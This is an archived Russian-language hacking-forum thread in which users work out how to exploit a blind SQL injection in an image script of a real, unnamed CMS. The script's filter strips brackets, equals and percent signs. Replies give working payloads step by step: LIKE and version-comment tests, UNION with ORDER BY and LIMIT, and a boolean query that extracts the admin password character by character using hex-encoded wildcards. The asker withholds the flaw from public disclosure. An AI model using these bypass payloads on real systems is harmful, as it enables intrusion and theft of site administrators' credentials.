Просмотр полной версии : Фильтрация при bind sql injections и LFI
Доброго времени суток!
Помогите плз, добрые люди...
Имеется линк типа
image_file.php?id=1
Выводит 1.gif
при image_file.php?id=2
Выводит 2.gif
при image_file.php?id=2-1
Выводит 1.gif
Предположим, что тут либо BIND SQL, либо LFI
Вопрос: как развить вектор атаки если имеется фильтрация такого типа:
PHP:
returnpreg_replace("/[\$%=<>\(\)\[\]\|\{\}]/i","",trim($string,"\x00") ) ;
Благодарности!
Скорее всего здесь SQL-inj, но из-за фильтрации скобок возможно будут проблемы, однако экспулотировать это будет достаточно просто при условии, что запрос достаточно стандартен, если определить параметр, подлежащие выводу. C Blind-SQL дело обстоит горазо сложнее, т.к. нужно почти всегда использовать скобки(Есть исключения).
Что будет выдаваться при подставлении строковых величин, значение которых в базе нет, например sdasd4242? Если вам известна регулярка, возможно вам известен сам запрос? Иначе откуда вы привели код(квест, просто пример)?
В места знака равентства можно использовать опреатор like или regexp. Что у вас получаеться, если вы её пытаетесь экспулотировать как обычную инъекцию?
Если идет запрос такого типа:
... WHERE a=(2-1) ...
То можно попробывать экспулотировать полу-слепой блайнд:
... WHERE a=(SELECT 1 FROM `users` WHERE `pass` LIKE `1%` )...
Проверить на SQLi в MySQL можно этим способом: https://forum.antichat.net/showpost.php?p=3333271&postcount=21566
To XAMEHA
Огромное спасибо, кое что прояснилось...
Что будет выдаваться при подставлении строковых величин, значение которых в базе нет, например sdasd4242?
2.gif (возможно это по-умолчанию или выводится когда есть ошибка или 1=0)
В места знака равентства можно использовать опреатор like или regexp.
Попробовал, вот что получилось
image_file.php?id=(2-1)+and+1+like+1
Выдает 1.gif
image_file.php?id=(2-1)+and+1+like+0
выдает 2.gif (возможно это по-умолчанию или выводится когда есть ошибка или 1=0)
Исследуем далее....
Сработала и такая конструкция
image_file.php?id=1+and+1+like+/*!50000 1*/
показывает 1.gif
image_file.php?id=1+and+1+like+/*!60000 1*/
и
image_file.php?id=1+and+1+like+/*!50000 0*/
показывает 2.gif
У вас работает Order By и Union? Вы пообрали кол-во полей? Если провести Union получтся, то следует попробывать установить зависимость полей базы и имени, формата, данных вывоимого файла, т.е. картинки, а ужу от этого пробывать составлять запрос для блайнд-инъекции.
Если Order By и Union не работает, попробуйте подставить SELECT 1.
Скрипт самописный, или возможно установить CMS? Если это удасться, то можно сразу попробывать сделать эксплоит под этот модуль.
Сработал ордер
id=1+order+by+1
сработал union
id=1+Union+select+1
Скрипт самописный, или возможно установить CMS? Если это удасться, то можно сразу попробывать сделать эксплоит под этот модуль.
Это CMS, но не хотелось бы в паблик выкидывать уязвимость.
то следует попробывать установить зависимость полей базы и имени, формата, данных вывоимого файла, т.е. картинки, а ужу от этого пробывать составлять запрос для блайнд-инъекции.
я нашел запрос который делается в базу
выглядит примерно так
PHP:
"SELECT count(*) AS total FROM dpt_os WHERE status = 1 AND ID =$ID"
И прежде чем попасть в запрос ID фильтруется
Возвращает функция с этим запросом либо FALSE либо значение $total
И далее код
PHP:
if ($total)
$prefix="1";
else
$prefix="2";
$image="$prefix".".GIF"
readfile($image) ;
Получилось раскрутить.
Часть 1:
Мы используем запрос такого синтаксиса:
PHP:
SELECT count(*) AStotal FROM dpt_os WHERE st atus=1ANDID= -165 UNION SELECT 222astotal FROM`test`ORDER B Y total DESC LIMIT 1
И из-за Order-by значение 222 становится первым, а второе обрезается лимитом. -165 - Заведомо несуществующее значение.
Часть 2:
Мы начинаем крутить инъекцию:
PHP:
SELECT count(*) AStotal FROM dpt_os WHERE st atus=1ANDID= -165 UNION SELECT 1astotal FROM`users`WHERE`log in`like'admin'and `pass`like'1%'ORDER BY total DESC LIMIT 1
И таким образом, если первый символ пароля 1, запрос возвратит 1, иначе ничего и мы спокойно крутим инъекцию. Желательно использовать POST/Куки, заместо ORDER BY можно использовать LIMIT 1, 2. Запятые в запросе тоже не используются.
Из-за фильтрации процента, мы переводим '1%' в 0x3125 используя HEX. Онлайн-конвертер: http://home.paulschou.net/tools/xlate/
UDP:
Так-же мы можем подбирать длину - LIKE '_%'. Кол-во записей в таблице можно получить используя:
PHP:
SELECT TABLE_ROWS FROM`information_schema`.`TABL ES`WHERE TABLE_NAME LIKE'admin'
Если доступа к information_schema нет, мы можем использовать LIMIT. REGEXP Тоже может помочь.
vBulletin® v3.8.14, Copyright ©2000-2026, vBulletin Solutions, Inc. Перевод: zCarot